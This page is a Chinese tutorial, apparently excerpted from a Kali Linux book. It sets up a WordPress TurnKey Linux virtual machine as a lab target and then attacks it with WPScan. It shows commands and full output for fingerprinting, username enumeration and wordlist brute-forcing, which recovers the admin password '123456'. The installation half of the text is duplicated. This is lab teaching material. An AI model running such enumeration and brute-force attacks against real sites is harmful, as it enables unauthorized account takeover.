您现在的位置是:首页 > cms教程 > WordPress教程WordPress教程
kali攻击wordpress,trunkey+linux安装wordpress的方法
吕映冉2025-03-19WordPress教程已有人查阅
导读今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中。例如,他们经常使用WordPress作为他们网站的内容管理系统,或者在局域网中使用Drupal框架。
今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中。例如,他们经常使用WordPress作为他们网站的内容管理系统,或者在局域网中使用Drupal框架。从这些应用程序中找到漏洞,是非常有价值的。
为了收集用于测试的应用程序,Turnkey Linux是一个非常好的资源。Turnkey工具的官方网站是http:// .turnkeylinux.org。本节将下载很流行的WordPress Turnkey Linux发行版。3.2.1 获取WordPress应用程序
获取WordPress应用程序的具体操作步骤如下所示。
(1)在浏览器中输入http:// .turnkeylinux.org地址,打开的界面3.8所示。从该界面下载TurnkeyLinux。
图3.8 Turnkey主页
(2)在该页面列出了许多程序,可以通过向下滚动鼠标查看。由于篇幅的原因,图3.8只截取了一少部分内容。在该页面中,用户可以尝试使用各种软件查找漏洞,并通过工具对这些应用程序来测试用户的技术。本例中将选择测试WordPress,向下滚动鼠标可以看到Instant Search对话框,3.9所示。
图3.9 立即搜索
(3)在该对话框中输入WordPress,然后按下回车键,将显示3.10所示的界面。
图3.10 WordPress应用程序
(4)在该界面可以看到WordPress程序已经找到,此时单击WordPress-Blog Publishing Platform链接进入下载页面,3.11所示。
图3.11 Turnkey下载页面
(5)在该界面选择下载ISO映像文件。单击220MB ISO链接,将显示3.12所示的界面。
图3.12 设置邮箱地址
(6)该界面提示为了安全,需要填写一个邮箱地址。填写完后,单击Subscribe and go straight to download按钮,将开始下载Turnkey WordPress软件。3.2.2 安装WordPress Turnkey Linux
本小节将介绍在VMware Workstation中安装WordPress Turnkey Linux。关于VMware Workstation的使用,在第1章中已经详细介绍过,这里就不再赘述。安装WordPress Turnkey Linux的具体操作步骤如下所示。
(1)将前面下载的ISO文件导入到光驱中,然后启动此虚拟机,将显示3.13所示的界面。
图3.13 TURNKEY初始界面
(2)在该界面选择Install to hard disk选项,按下“回车键”,将显示3.14所示的界面。
图3.14 选择分区方法
(3)该界面是选择分区的方法。该系统提供了三种方法,分别是使用整个磁盘并设置LVM、使用整个磁盘和手动分区。这里选择第一种,然后单击OK按钮,将显示3.15所示的界面。
图3.15 将数据写入磁盘
(4)该界面显示了分区的信息,这里提示是否将写入改变磁盘并配置LVM呢?如果想要重新分配分区的话,就单击No按钮,否则单击Yes按钮。本例中单击Yes按钮,将显示3.16所示的界面。
图3.16 LVM信息
(5)该界面显示了LVM的配置信息。单击OK按钮,将显示3.17所示的界面。
图3.17 使用引导分区的卷组
(6)该界面提示使用引导分区的卷组来安装系统。此时,单击OK按钮,将显示3.18所示的界面。
图3.18 磁盘分区表
(7)该界面显示了磁盘的分区表信息,此时提示是否要写入数据。这里单击Yes按钮,将显示3.19所示的界面。
图3.19 复制数据到磁盘
(8)该界面显示了复制数据的磁盘的一个进度。复制完后,将显示3.20所示的 界面。
图3.20 安装GRUB引导
(9)该界面提示是否安装GRUB引导加载程序的主引导记录。这里单击Yes按钮,将显示3.21所示的界面。
图3.21 是否重启系统
(10)该界面显示WordPress Turnkey Linux已经安装完成,是否现在重新启动系统。单击Yes按钮,将显示3.22所示的界面。
图3.22 Root密码
(11)在该界面为Root用户设置一个密码。输入密码后,单击OK按钮,将显示3.23所示的界面。
图3.23 Root确认密码
(12)该界面要求再次为Root用户输入相同的密码,单击OK按钮,将显示3.24所示的界面。
图3.24 MySQL密码
(13)在该界面为MySQL服务的Root用户设置一个密码,设置完后单击OK按钮,将显示3.25所示的界面。
图3.25 MySQL确认密码
(14)在该界面再次为MySQL服务的Root用户输入相同的密码,然后单击OK按钮,将显示3.26所示的界面。
图3.26 Wordpress用户admin密码
(15)在该界面要求为Wordpress的用户admin设置一个密码,输入密码后,单击OK按钮,将显示3.27所示的界面。
图3.27 Wordpress用户admin确认密码
(16)在该界面再次为Wordpress用户admin输入相同的密码,然后单击OK按钮,将显示3.28所示的界面。
图3.28 设置邮件地址
(17)该界面提示为Wordpress用户admin设置一个邮件地址,这里使用默认的admin@example.com。然后单击Apply按钮,将显示3.29所示的界面。
图3.29 Initialize Hub Services
(18)该界面显示了初始化Hub服务信息,在该界面单击Skip按钮,将显示3.30所示的界面。
图3.30 Security updates
(19)该界面提示是否现在安装安全更新,这里单击Install按钮,将显示3.31所示的界面。
图3.31 WORDPRESS appliance services
(20)该界面显示了WordPress应用服务的详细信息,如Web地址、Web shell地址和端口、Webmin地址、PHPMyAdmin地址和端口及SSH/SFTP地址和端口等。此时,表明WordPress Turnkey Linux就可以使用了。3.2.3 攻击WordPress应用程序
上一小节介绍了WordPress虚拟机的安装。现在就可以启动WordPress虚拟机,在Kali Linux下使用WPScan攻击它。WPScan是一个黑盒安全扫描器,它允许用户查找Word Press安装版的一些已知的安全漏洞。本小节将介绍使用WPScan工具攻击WordPress应用程序。
WPScan在Kali Linux中已经默认安装。它的语法格式如下所示:wpscan [选项] [测试]
常用的选项如下所示。
--update:更新到较新版本。
--url|-u <target url>:指定扫描WordPress的URL(统一资源定位符)或域名。
--force |-f:如果远程站点正运行WordPress,强制WPScan不检查。
--enumerate |-e [option(s)]:计算。该参数可用的选项有u、u[10-20]、p、vp、ap、tt、t、vt和at。其中u表示用户名从id1到10;u[10-20]表示用户名从id10到20([]中的字符必须写);p表示插件程序;vp表示仅漏洞插件程序;ap表示所有插件程序(可能需要一段时间);tt表示timthumbs;t表示主题;vt表示仅漏洞主题;at表示所有主题(可能需要一段时间)。
【实例3-1】使用WPScan攻击WordPress程序的具体操作步骤如下所示。
(1)在Kali Linux下,查看WPScan的帮助信息。执行命令如下所示:
执行以上命令后,会输出大量信息。输出的信息中显示了WPScan的版本信息、使用方法及WPScan的例子等。由于篇幅的原因,这里贴了一部分内容,其他使用省略号(……)取代。
(2)使用WPScan攻击WordPress虚拟机。本例中,WordPress的IP地址是192.168.41.130。执行命令如下所示:
(3)列出用户名列表,执行命令如下所示:
(4)为WPScan指定一个wordlist文件,使用--wordlist <path to file>选项。执行命令如下所示:
为了收集用于测试的应用程序,Turnkey Linux是一个非常好的资源。Turnkey工具的官方网站是http:// .turnkeylinux.org。本节将下载很流行的WordPress Turnkey Linux发行版。3.2.1 获取WordPress应用程序
获取WordPress应用程序的具体操作步骤如下所示。
(1)在浏览器中输入http:// .turnkeylinux.org地址,打开的界面3.8所示。从该界面下载TurnkeyLinux。
图3.8 Turnkey主页
(2)在该页面列出了许多程序,可以通过向下滚动鼠标查看。由于篇幅的原因,图3.8只截取了一少部分内容。在该页面中,用户可以尝试使用各种软件查找漏洞,并通过工具对这些应用程序来测试用户的技术。本例中将选择测试WordPress,向下滚动鼠标可以看到Instant Search对话框,3.9所示。
图3.9 立即搜索
(3)在该对话框中输入WordPress,然后按下回车键,将显示3.10所示的界面。
图3.10 WordPress应用程序
(4)在该界面可以看到WordPress程序已经找到,此时单击WordPress-Blog Publishing Platform链接进入下载页面,3.11所示。
图3.11 Turnkey下载页面
(5)在该界面选择下载ISO映像文件。单击220MB ISO链接,将显示3.12所示的界面。
图3.12 设置邮箱地址
(6)该界面提示为了安全,需要填写一个邮箱地址。填写完后,单击Subscribe and go straight to download按钮,将开始下载Turnkey WordPress软件。3.2.2 安装WordPress Turnkey Linux
本小节将介绍在VMware Workstation中安装WordPress Turnkey Linux。关于VMware Workstation的使用,在第1章中已经详细介绍过,这里就不再赘述。安装WordPress Turnkey Linux的具体操作步骤如下所示。
(1)将前面下载的ISO文件导入到光驱中,然后启动此虚拟机,将显示3.13所示的界面。
图3.13 TURNKEY初始界面
(2)在该界面选择Install to hard disk选项,按下“回车键”,将显示3.14所示的界面。
图3.14 选择分区方法
(3)该界面是选择分区的方法。该系统提供了三种方法,分别是使用整个磁盘并设置LVM、使用整个磁盘和手动分区。这里选择第一种,然后单击OK按钮,将显示3.15所示的界面。
图3.15 将数据写入磁盘
(4)该界面显示了分区的信息,这里提示是否将写入改变磁盘并配置LVM呢?如果想要重新分配分区的话,就单击No按钮,否则单击Yes按钮。本例中单击Yes按钮,将显示3.16所示的界面。
图3.16 LVM信息
(5)该界面显示了LVM的配置信息。单击OK按钮,将显示3.17所示的界面。
图3.17 使用引导分区的卷组
(6)该界面提示使用引导分区的卷组来安装系统。此时,单击OK按钮,将显示3.18所示的界面。
图3.18 磁盘分区表
(7)该界面显示了磁盘的分区表信息,此时提示是否要写入数据。这里单击Yes按钮,将显示3.19所示的界面。
图3.19 复制数据到磁盘
(8)该界面显示了复制数据的磁盘的一个进度。复制完后,将显示3.20所示的 界面。
图3.20 安装GRUB引导
(9)该界面提示是否安装GRUB引导加载程序的主引导记录。这里单击Yes按钮,将显示3.21所示的界面。
图3.21 是否重启系统
(10)该界面显示WordPress Turnkey Linux已经安装完成,是否现在重新启动系统。单击Yes按钮,将显示3.22所示的界面。
图3.22 Root密码
(11)在该界面为Root用户设置一个密码。输入密码后,单击OK按钮,将显示3.23所示的界面。
图3.23 Root确认密码
(12)该界面要求再次为Root用户输入相同的密码,单击OK按钮,将显示3.24所示的界面。
图3.24 MySQL密码
(13)在该界面为MySQL服务的Root用户设置一个密码,设置完后单击OK按钮,将显示3.25所示的界面。
图3.25 MySQL确认密码
(14)在该界面再次为MySQL服务的Root用户输入相同的密码,然后单击OK按钮,将显示3.26所示的界面。
图3.26 Wordpress用户admin密码
(15)在该界面要求为Wordpress的用户admin设置一个密码,输入密码后,单击OK按钮,将显示3.27所示的界面。
图3.27 Wordpress用户admin确认密码
(16)在该界面再次为Wordpress用户admin输入相同的密码,然后单击OK按钮,将显示3.28所示的界面。
图3.28 设置邮件地址
(17)该界面提示为Wordpress用户admin设置一个邮件地址,这里使用默认的admin@example.com。然后单击Apply按钮,将显示3.29所示的界面。
图3.29 Initialize Hub Services
(18)该界面显示了初始化Hub服务信息,在该界面单击Skip按钮,将显示3.30所示的界面。
图3.30 Security updates
(19)该界面提示是否现在安装安全更新,这里单击Install按钮,将显示3.31所示的界面。
图3.31 WORDPRESS appliance services
(20)该界面显示了WordPress应用服务的详细信息,如Web地址、Web shell地址和端口、Webmin地址、PHPMyAdmin地址和端口及SSH/SFTP地址和端口等。此时,表明WordPress Turnkey Linux就可以使用了。3.2.3 攻击WordPress应用程序
上一小节介绍了WordPress虚拟机的安装。现在就可以启动WordPress虚拟机,在Kali Linux下使用WPScan攻击它。WPScan是一个黑盒安全扫描器,它允许用户查找Word Press安装版的一些已知的安全漏洞。本小节将介绍使用WPScan工具攻击WordPress应用程序。
WPScan在Kali Linux中已经默认安装。它的语法格式如下所示:wpscan [选项] [测试]
常用的选项如下所示。
--update:更新到较新版本。
--url|-u <target url>:指定扫描WordPress的URL(统一资源定位符)或域名。
--force |-f:如果远程站点正运行WordPress,强制WPScan不检查。
--enumerate |-e [option(s)]:计算。该参数可用的选项有u、u[10-20]、p、vp、ap、tt、t、vt和at。其中u表示用户名从id1到10;u[10-20]表示用户名从id10到20([]中的字符必须写);p表示插件程序;vp表示仅漏洞插件程序;ap表示所有插件程序(可能需要一段时间);tt表示timthumbs;t表示主题;vt表示仅漏洞主题;at表示所有主题(可能需要一段时间)。
【实例3-1】使用WPScan攻击WordPress程序的具体操作步骤如下所示。
(1)在Kali Linux下,查看WPScan的帮助信息。执行命令如下所示:
执行以上命令后,会输出大量信息。输出的信息中显示了WPScan的版本信息、使用方法及WPScan的例子等。由于篇幅的原因,这里贴了一部分内容,其他使用省略号(……)取代。
(2)使用WPScan攻击WordPress虚拟机。本例中,WordPress的IP地址是192.168.41.130。执行命令如下所示:
root@localhost:~# wpscan -u 192.168.41.130
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ /| ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
_______________________________________________________________
| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:49:37 2014
[!] The WordPress 'http://192.168.41.130/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.2.22 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator
[+] WordPress theme in use: twentythirteen v1.0
| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/
[+] Enumerating plugins from passive detection ...
No plugins found
[+] Finished: Thu Apr 17 13:49:41 2014
[+] Memory used: 2.414 MB
[+] Elapsed time: 00:00:03
输出的信息显示了WPScan一个简单的攻击过程。(3)列出用户名列表,执行命令如下所示:
root@localhost:~# wpscan -u 192.168.41.130 -e u vp
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
_______________________________________________________________
| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:50:49 2014
[!] The WordPress 'http://192.168.41.130/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.2.22 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator
[+] WordPress theme in use: twentythirteen v1.0
| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/
[+] Enumerating plugins from passive detection ...
No plugins found
[+] Enumerating usernames ...
[+] We found the following 1 user/s:
+----+-------+-------+
| Id | Login | Name |
+----+-------+-------+
| 1 | admin | admin |
+----+-------+-------+
[+] Finished: Thu Apr 17 13:50:54 2014
[+] Memory used: 2.379 MB
[+] Elapsed time: 00:00:04
从输出的信息中可以看到当前系统中只有一个用户,名为admin。(4)为WPScan指定一个wordlist文件,使用--wordlist <path to file>选项。执行命令如下所示:
root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
_______________________________________________________________
| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:54:51 2014
[!] The WordPress 'http://192.168.41.130/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.2.22 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator
[+] WordPress theme in use: twentythirteen v1.0
| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/
[+] Enumerating plugins from passive detection ...
No plugins found
[+] Enumerating usernames ...
[+] We found the following 1 user/s:
+----+-------+-------+
| Id | Login | Name |
+----+-------+-------+
| 1 | admin | admin |
+----+-------+-------+
[+] Starting the password brute forcer
Brute Forcing 'admin' Time: 00:00:00 < > (59 / 20575) 0.28%
ETA: 00:00:00
[SUCCESS] Login : admin Password : 123456
+----+-------+-------+----------+
| Id | Login | Name | Password |
+----+-------+-------+----------+
| 1 | admin | admin | 123456 |
+----+-------+-------+----------+
[+] Finished: Thu Apr 17 13:54:56 2014
[+] Memory used: 2.508 MB
[+] Elapsed time: 00:00:05
从输出的信息中,可以看到WordPress用户admin的密码已被破解出。
本文标签:
很赞哦! ()
相关教程
图文教程
wordpress怎么上传图片
生活中不少人有喜欢网站的朋友,更有的朋友可以通过一个小站来盈利补充自己的物质生活。多媒体时代,网站中添加一些音乐、图片
WordPress主题优化的方法
WordPress主题怎么优化?下面本篇文章给大家介绍一下10个改善WordPress主题的小技巧,希望对大家有所帮助!
wordpress前台框架有哪些
Boostrap越来越流行,主题开发者们开始尝试使用它来开发wordpress主题。这也使得bootstrap的wordpress框架用起来更加便利。
wordpress设置多语言导航的方法
默认情况下,WordPress 没有提供创建多语言站点的功能,然而,我们可以通过插件或在线翻译服务为我们的 WordPress 网站添加多语言功能。
相关源码
-
(自适应)绿色农业大型机械设备展示网站模板下载基于PbootCMS内核深度定制开发的农业机械行业专用模板。针对农机设备展示、产品参数说明等需求优化设计,突出农业机械行业特性查看源码 -
(自适应)pbootcms家政服务保洁保姆打扫卫生网站模板下载本模板基于PbootCMS内核开发,为家政服务企业量身定制。设计风格温馨亲切,突出家政行业的专业与贴心服务特性,多方位展示企业服务项目与优势。查看源码 -
(PC+WAP)聚氨酯粉末涂料防腐耐用材料粘合剂网站源码下载为化工涂料企业设计的展示系统,集成产品技术参数库、颜色样板展示器和配方查询模块。支持粉末涂料、环氧树脂等多类产品分类展示查看源码 -
(自适应)光伏测试仪器电站运维设备网站源码免费下载本模板为光伏检测设备与电站运维服务企业设计,采用PbootCMS内核开发,具备完整的设备展示、技术文档管理及客户服务功能模块。通过自适应结构与SEO优化框架,有效提升企业在移动端和搜索引擎中的专业形象。查看源码 -
(自适应响应式)英文外贸医疗科研耗材设备pbootcms网站模板为医疗设备和外贸企业设计的响应式网站模板,基于PbootCMS系统开发。突出医疗产品认证展示和国际化特性,通过专业化的产品参数展示模块和文档管理系统,满足医疗行业严格的信息披露要求。查看源码 -
(自适应响应式)家电维修清晰服务网站pbootcms模板免费下载本模板基于PbootCMS内核开发,为维修服务类企业打造,特别适合家电维修、设备维护等行业使用。通过简洁直观的界面设计,帮助企业快速搭建专业级服务平台,实现线上业务高效管理。查看源码
| 分享笔记 (共有 篇笔记) |

